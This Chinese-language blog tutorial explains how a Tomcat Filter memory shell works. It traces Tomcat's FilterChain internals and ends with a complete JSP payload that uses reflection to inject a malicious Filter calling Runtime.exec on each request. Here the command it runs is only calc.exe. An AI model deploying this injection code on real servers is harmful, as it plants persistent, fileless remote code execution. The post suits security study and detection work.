沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Tomcat之Filter内存马

0x00 前言


……正好自己学习

0x01 Tomcat相关知识


Tomcat组成

  • server:整个Tomcat服务器。
  • service:服务,一个server可以有多个service。一个service将connector和container包装,可以有多个Connector,但只能有一个container。
  • connector:一个connector对应一个请求,会创建Request和Respond对象。并转化为servlet请求并转交给container处理。
  • container(catalina):处理servlet请求并返回对象。

image-20220622170006883

connector与container

在上文说到,connector会将请求转换为servlet请求并转发给container,具体流程如下:

image-20220622170252864

如上图所示,Connector分为三部分:EndPonit、Process、Adapter,不过8重要……

container的组成

同样感觉8重要,但是很多文章都写了,浅浅的了解一下吧:

image-20220622171206663

如上图所示,一个container分为四类:Engine(主机管理)、Host(虚拟主机)、Context(一个Context对应于一个Web Application)、Wrapper(一个Wrapper对应一个servlet),并且是嵌套式存在。把Container也详细表示出来后的架构图如下:

image-20220628155910191

ServletRequest处理流程

上文说到,connector会将Servlet请求给container处理,具体流程如下:

image-20220628160307987

Container内部使用PipeLine-value进行处理,通过前三层后(Engine、Host、Context),会在Wrapper中调用FilterChain,即一系列我们写的过滤器,通过后,就会载入Servlet类处理请求。

image-20220628164910158

上图便是Pipeline-value的模型,FilterChian的调用即是在最后的StandardWrappedValue类。

0x02 Filter内存马概念导论


Filter

写过JavaWeb的我们都知道,当定义一个Filter并在XML中绑定到某个路由时,当访问此路由时,会首先进入到Filter中,也正是我们在上文说过的调用流程。一个Filter的映射配置如下:

<filter>
  <filter-name>LogFilter</filter-name>
  <filter-class>com.runoob.test.LogFilter</filter-class>
  <init-param>
    <param-name>Site</param-name>
    <param-value>菜鸟教程</param-value>
  </init-param>
</filter>
<filter-mapping>
  <filter-name>LogFilter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>

但是值得思考的是,如果我们在Filter类中写入RCE代码,然后路由绑定到所有或者是特定路由,是不是每次都能命令执行了呢?

危险Filter类的编写

使用IDEA创建一个Java Enterprise项目,并选择Web, 然后给运行配置设置一下Tomcat的启动(略,不过最好别和我一样一开始用tomcat10……然后servlet各种问题,选低一点的版本),并且记得把Tomcat的lib文件夹(调试的时候再在选择源处选中tomcat源码)导入到工程中,这样才能调试Tomcat,然后我们创建一个如下的Filter类:

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter销毁");

    }
}

然后在Web.xml中绑定一下路由:

<filter>
    <filter-name>TestFilter</filter-name>
    <filter-class>com.example.virusfilter.TestFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>TestFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

之后在网页中访问一个servlet路由,成功弹出计算器!

image-20220628182132939

并且,只要Web服务没停(之所以这样,是因为用于加载的StandardContext只在部署时加载一次,之后常驻内存,而filter的相关信息就存在StandardContext之中),就一直能产生这种效果。

Filter内存马

从上面的实验中,我们现在应该就能很明了的理解什么是内存马以及Filter内存马了。所谓内存马,就是把马种在了Web应用的内存之中,与传统的Webshell相比,它不产生文件,并且随Web应用一直存在,只有重启服务才能解除。而Filter内存马,只是借助Filter的特点,产生这种效果,与其类似的内存马还有:Listener型、Filter型、Servlet型以及Agent型。

0x03 Filter内存马的实现


导言

上面虽然成功实现了代码执行,但是在我们是自己本地配置的,别人不可能这样写代码,所以接下来,我们要探索一下如何动态地给Tomcat注入恶意Filter。

Filter的调用调试

上文说到过,我们的FilterChain是在StandardWrapperValue中处理的,调试(打断点在doFilter)时跟进,可以发现在其中有获取FilterChain的语句:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

跟进ApplicationFilterFactory#createFilterChain,可以看到如下代码:

StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

首先是获取到一个StandardContext,然后再调用其findFilterMaps来获取FilterMap,跟进findFilterMaps:

public FilterMap[] findFilterMaps() {
    return this.filterMaps.asArray();
}

返回的是filterMaps里的数组,我们现在先不管filterMaps怎么构造的,先回到createFilterChain继续跟进:

for (FilterMap filterMap : filterMaps) {
    if (!matchDispatcher(filterMap, dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMap, requestPath)) {
        continue;
    }
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMap.getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    filterChain.addFilter(filterConfig);
}

遍历我们的filterMaps,首先是判断路径等信息是否匹配,然后调用context的findFilterConfig获取filterConfig,参数为fileterMap里面的FilterName,最后把filterConfig添加到filterChain之中。跟进findFilterConfig:

public FilterConfig findFilterConfig(String name) {
    return filterConfigs.get(name);
}

可以看到是从filterConfigs变量中里面获取的。在StandardContext中搜索filterConfigs,可以在以下代码中找到添加逻辑:

public boolean filterStart() {
	//省略
    synchronized (filterConfigs) {
        filterConfigs.clear();
        // 遍历fileterDefs
        for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
            String name = entry.getKey();
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Starting filter '" + name + "'");
            }
            try {
                //注意看这里
                ApplicationFilterConfig filterConfig =
                   	//filterConfig通过传入一个filterDef新建
                    new ApplicationFilterConfig(this, entry.getValue());
                //把filterConfig添加到filterConfigs之中
                filterConfigs.put(name, filterConfig);
            } catch (Throwable t) {
			//省略
            }
        }
    }
    return ok;
}

综上,我们现在可以得到三个个关键的东西:

  • StandardContext的filterMaps
  • StandardContext的filterConfigs(依赖于filterDefs)
  • StandardContext的filterDefs

只要控制了这几个东西,就大概率能够将恶意Filter加入到filterChain中。

filterMaps的构造

在StandardContext里面存在一个添加filterMap的方法:

public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

可见,通过直接传入filterMap即可,那这个filterMap有什么要求呢?查看上文filterChain创建过程,与filrerMap相关的代码如下:

matchDispatcher(filterMap, dispatcher)
matchFiltersURL(filterMap, requestPath)
filterMap.getFilterName()

其中matchDispatcher和matchFiltersURL类似,其中都是通过调用FilterMap的getter,然后进行对比:

// ApplicationFilterFactory#matchDispatcher
String[] servletNames = filterMap.getServletNames();
for (String name : servletNames) {
    if (servletName.equals(name)) {
        return true;
    }
}
// ApplicationFilterFactory#matchFiltersURL
case REQUEST :
if ((filterMap.getDispatcherMapping() & FilterMap.REQUEST) != 0) {
    return true;
}

通过跟进filterMap#getServletNames和filterMap#getDispatcherMapping、filterMap#getFilterName,可以得到相关的成员:

public String getFilterName() {
    return this.filterName;
}

public String[] getServletNames() {
    if (matchAllServletNames) {
        return new String[] {};
    } else {
        return this.servletNames;
    }
}

public String[] getURLPatterns() {
    if (matchAllUrlPatterns) {
        return new String[] {};
    } else {
        return this.urlPatterns;
    }
}

既然存在getter,则一般会存在setter,因此,我们可以借助FilterMap中对应的setter,来为我们设置值。对应的setter如下:

public void setFilterName(String filterName) {
    this.filterName = filterName;
}

public void addServletName(String servletName) {
    if ("*".equals(servletName)) {
        this.matchAllServletNames = true;
    } else {
        String[] results = new String[servletNames.length + 1];
        System.arraycopy(servletNames, 0, results, 0, servletNames.length);
        results[servletNames.length] = servletName;
        servletNames = results;
    }
}

public void addURLPattern(String urlPattern) {
    addURLPatternDecoded(UDecoder.URLDecode(urlPattern, getCharset()));
}

可以看到都是直接传入String即可,根据我们调试和对Servlet的理解,大致就可以写出创建一个filterMaps的代码了,如下:

//创建一个FilterMaps
FilterMap filterMap = new FilterMap();
filterMap.setDispatcher("request");
filterMap.addURLPattern("/hello-servlet");
filterMap.setFilterName("Hacker");
//注意这里有点问题
standardContext.addFilterMap(filterMap);

这也符合我们在web.xml中对filter的filter-mapping设置。但是后面在实际运用时,会发现有点问题,根据报错,我们定位到了StandarContext#validateFilterMap,原来是我们刚刚忽略了在addFilterMap中还会进行校验,跟进:

private void validateFilterMap(FilterMap filterMap) {
    // Validate the proposed filter mapping
    String filterName = filterMap.getFilterName();
    String[] servletNames = filterMap.getServletNames();
    String[] urlPatterns = filterMap.getURLPatterns();
    //注意这里
    if (findFilterDef(filterName) == null) {
        throw new IllegalArgumentException
            (sm.getString("standardContext.filterMap.name", filterName));
    }

如上,我们知道,这里会先在FilterDefs里面寻找,所以我们要在创建FilterDefs之后再addFilterMap。

filterDefs的创建

如上文所说,我们的filterMaps依赖于filterDef,所以我们先来创建filterDef。先来看看他哪些变量需要赋值:

ApplicationFilterConfig filterConfig =
                  	//filterConfig通过传入一个filterDef新建
                   new ApplicationFilterConfig(this, entry.getValue());

跟进ApplicationFilterConfig:

ApplicationFilterConfig(Context context, FilterDef filterDef)
    throws ClassCastException, ReflectiveOperationException, ServletException,
NamingException, IllegalArgumentException, SecurityException {

    super();

    this.context = context;
    this.filterDef = filterDef;
    // Allocate a new filter instance if necessary
    if (filterDef.getFilter() == null) {
        getFilter();
    } else {
        this.filter = filterDef.getFilter();//这里
        context.getInstanceManager().newInstance(filter);
        initFilter();
    }
}

从上面的代码可以看到,貌似就一个getFilter()的调用,跟进Filter#getFilter(),查看对应变量:

public Filter getFilter() {
    return filter;
}

很显然,这里的Filter就是我们之后需要的恶意Filter,并且可以通过setter赋值。另外因为我们还要将filterDef添加到filterDefs里面,所以standardContext#addFilerDef也有影响:

public void addFilterDef(FilterDef filterDef) {

    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);

}

可以看到,通过getFilterName获取FilterName,所以我们的filterDef可以如下构造:

//创建一个FilterDefs
FilterDef filterDef = new FilterDef();
//创建一个Filter
Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
    }
};
filterDef.setFilter(filter);
filterDef.setFilterName("Hacker");
standardContext.addFilterDef(filterDef);

filterConfigs的创建

因为filterConfigs在StandardContext没有add或者set,只有filterStart中进行操作,但是这个方法一看就是Tomcat启动时才会干的事情,我们在后面是没办法调用的,所以我们只能通过反射调用进行设置。首先照着源代码创建一个filterConfig:

ApplicationFilterConfig filterConfig =
    new ApplicationFilterConfig(standardContext, filterDef);

但是这样会报错,为什么呢?因为ApplicationFilterConfig的构造方法没有修饰符public,也就是不能从外部包进行调用,所以这里也只有通过反射调用。因此,整个构造如下:

Class clz = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor = clz.getDeclaredConstructor(standardContext.getClass(), filterDef.getClass());
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig =
    (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

Field filterConfigsFiled = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsFiled.setAccessible(true);
Map filterConfigs =  (Map)filterConfigsFiled.get(standardContext);
filterConfigs.put("Hacker", filterConfig);

这里注意put时的key要和filterMap里filterMap.setFilterName设置的一样,因为后面是通过findFilterConfig(filterMap.getFilterName());进行获取。

StandardContext的获取

在上文,我们成功构造出几个关键的东西,但是还有最关键的当前应用的standardContext没有获取到。方法有很多,具体可以看本篇文章的第二篇参考文章(@bitterz师傅),这里就以一种来讲解,之后考虑专门出一篇文章总计一下:

ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

在Tomcat中,可以通过request和respond来获取StandadContext。首先获得ServletContext,这是一个接口。然后将其转化为ApplicationContext,他实现了ServletContext,在其中的context字段,就是 StandardContext 。

最后的Payload

将以上代码整理成JSP,如下:

<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%
//获取一个StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//创建一个FilterMaps
FilterMap filterMap = new FilterMap();
filterMap.setDispatcher("request");
filterMap.addURLPattern("/chenlvtang");
filterMap.setFilterName("Hacker");



//创建一个FilterDefs
FilterDef filterDef = new FilterDef();
//创建一个Filter
Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter销毁");

    }
};
filterDef.setFilter(filter);
filterDef.setFilterName("Hacker");
standardContext.addFilterDef(filterDef);

standardContext.addFilterMap(filterMap);

// 创建一个filterConfigs

/*  ApplicationFilterConfig filterConfig =
             *        new ApplicationFilterConfig(standardContext, filterDef);
             *   这样无法成功构造,因为他的构造方法没有声明public, 所以只能通过反射调用进行设置
             */

Class<?> clz = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> constructor = clz.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig =
    (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


Field filterConfigsFiled = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsFiled.setAccessible(true);
Map filterConfigs =  (Map)filterConfigsFiled.get(standardContext);
filterConfigs.put("Hacker", filterConfig);
%>

在浏览器访问shell.jsp后,访问/chenlvtang,即可弹出计算器:

image-20220802204239941

0x04 参考


https://www.anquanke.com/post/id/266240#h3-17

https://xz.aliyun.com/t/9914

https://xz.aliyun.com/t/10362